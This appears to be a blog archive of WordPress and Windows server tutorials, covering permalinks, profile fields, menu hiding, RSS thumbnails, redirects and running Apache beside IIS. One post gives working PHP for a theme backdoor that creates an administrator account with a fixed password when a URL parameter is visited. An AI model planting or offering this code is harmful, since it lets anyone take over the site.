How To: Create Facebook Like Username URLs in WordPress


One of the great things about working with WordPress on a daily basis is I get to figure out how to do all sorts of fun things in WordPress! The latest challenge was figuring out how to setup Facebook like username URLs in WordPress. For example I wanted http://example.com/username to load the Author’s profile page. This was surprisingly much easier to accomplish than I assumed it would be. To do this visit Settings > Permalinks in the admin dashboard of WordPress and set your permalink custom structure to:

/%author%/%postname%/

That’s all there is to it! Now the user URL will be http://example.com/username just like in Facebook! To create a custom author page design simply edit (or create if it doesn’t exist) the author.php template file in your theme directory. Below is a screenshot of the custom permalink structure:

Facebook User URLs in WordPress

How To: Remove Default Profile Fields in WordPress


A few days ago I came across an interesting challenge in WordPress. I wanted to hide some of the default profile fields from being displayed to the users in WordPress. Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields. It took a bit of digging but I found the below function buried in the WordPress.org support forums. Just place the below code in your themes functions.php file to remove these fields:

<?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?>

That’s it! As you can see below the three fields are removed from the Profile page on the WordPress admin side. This makes it much less confusing for users since they don’t see fields that we aren’t using on the website.

How To: Hide an Admin Menu in WordPress


Have you ever needed to hide a specific admin menu from other users in WordPress? Maybe you want to hide the Plugins and Appearance menus to keep your users out of trouble. Just place the below code in your themes functions.php file to hide the Plugins menu from all users except for admin:

<?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	global $current_user;
	get_currentuserinfo();

	If($current_user->user_login != 'admin') {
		?>
		<style>
		   #menu-plugins{
				display:none;
			}
		</style>
		<?php
	}
}
?>

As another example lets say we want to hide the Links menu from all users that aren’t administrators in WordPress. The below code would do just that:

<?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	if ( !current_user_can('manage_options') ) {
		?>
		<style>
		   #menu-links{
				display:none;
			}
		</style>
		<?php
	}
}
?>

This is a pretty simple method of hiding menus in the WordPress admin dashboard. Enjoy!

How To: Load User Info Using the Admin Email in WordPress


Today’s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.

$admin_email = get_option('admin_email');
$admin_user_id = get_user_id_from_string($admin_email);
$user_info = get_userdata($admin_user_id);

The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.

Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.

We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:

$admin_email = get_option('admin_email');
$user_info = get_user_by_email($admin_email);

This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!

How To: Add a Post Thumbnail to an RSS Feed in WordPress


Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:

function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) {
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
	}

	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

How To: Create Backdoor Admin Access in WordPress


Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!

How to: 301 Redirect from one domain to another using mod_rewrite


By StrangeWork.com: Recently I created a new E-commerce website for a client of mine. I developed the new site as a subdomain under their existing domain (ex http://newsite.domain.com). Google ended up indexing around 4000 links from the subdomain I had created, so upon launching the new site I wanted to 301 redirect the subdomain links to the primary domain of the new site.

Sounds easy right? Of course! I quickly found many sites that recommended this rewrite rule using mod_rewrite:

RewriteRule ^(.*) http://domain.com/$1 [R=301,L]

However there is a problem with this method that no article seemed to address. This works great at redirecting from the subdomain (http://newsite.domain.com) to the new domain (http://domain.com), BUT if you navigate to http://domain.com you will hit an infinite loop.

So, how do you correct this problem? Easy, you need to create a rewrite condition to only apply the rule to your old domain or the subdomain in this case. Just add the following two lines to your .htaccess file in the root of your website:

RewriteCond %{HTTP_HOST} ^(newsite.)?domain.com$
RewriteRule ^(.*) http://domain.com/$1 [R=301,L]

Now this rewrite rule will ONLY apply to anyone who hits the old subdomain at http://newsite.domain.com and 301 redirect them to http://domain.com with the entire URL structure in tact. This method is easy to apply to a stand domain as well, just replace newsite in the above example with www.

I was pretty baffled at the amount of bad information there is on this method so thought I would share the proper method with everyone. Hopefully the update rewrite rules will help anyone having the same issues I had.

How To: Run Apache HTTP Server and IIS on Windows Server 2003


By StrangeWork.com: This is the first article in a series of articles I plan to write on setting up a WAMP stack (Windows, Apache, MySQL, PHP) on Windows Server 2003.

I decided to install Apache HTTP Server on my dedicated Windows Server 2003 machine. I thought I would write a detailed article explaining the process for anyone else wanting to accomplish the same task. With just a few minor config changes you can easily have IIS and Apache running alongside each other on the same Windows server.

Step 1: Download Apache Server Win32 Binary (MSI Installer) from http://httpd.apache.org/download.cgi
Step 2: Install Apache with the default settings. Read the Apache Windows Help Documentation for more information.

In order to run IIS and Apache on a single server you need to specify what IP IIS and Apache will listen for port 80 on. You must have two different IP addresses available for use.

Step 3: For Apache: Edit the http.conf file to force Apache to run on a specific IP. Find the below text in your http.conf file. If you left the default install location unchanged the file will be located here:
C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf

# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 80

Change the line Listen 80 to:
Listen xxx.xxx.xxx.xxx:80

xxx.xxx.xxx.xxx is the private IP address you want Apache to listen on.

Step 4: For IIS: Install the Windows 2003 support tools.
Insert your Windows 2003 CD and open up the file:
\SUPPORT\TOOLS\SUPTOOLS.MSI
This will install additional support tools in “C:\Program Files\Support Tools”

Open up a command prompt (start menu > run > cmd)

At the command prompt, switch to the “C:\Program Files\Support Tools” folder (cd /d c:\program files\support tools)

Type the following command:

httpcfg set iplisten -i xxx.xxx.xxx.xxx

xxx.xxx.xxx.xxx is the private IP address you want IIS to listen on. This must be a different IP from the one used above for Apache.

Restart IIS and Apache for the changes to take affect. You might need to reboot depending on your server settings. Now IIS and Apache will run in harmony on the same Windows 2003 Server!

Troubleshooting Apache
If you run it to problems, the first place to start debugging is in your Apache error.log file. The file is located in your root Apache folder logs directory. The default install location is:
C:\Program Files\Apache Software Foundation\Apache2.2\logs\error.log

Common Errors
An attempt was made to access a socket in a way forbidden by its access permissions. : make_sock: could not bind to address xxx.xxx.xxx.xxx:80

You will receive this error in your error.log if IIS is still listening on the private IP that you set for Apache. If you followed my directions correctly an IIS reset should resolve this problem. If you are still having issues try rebooting your server.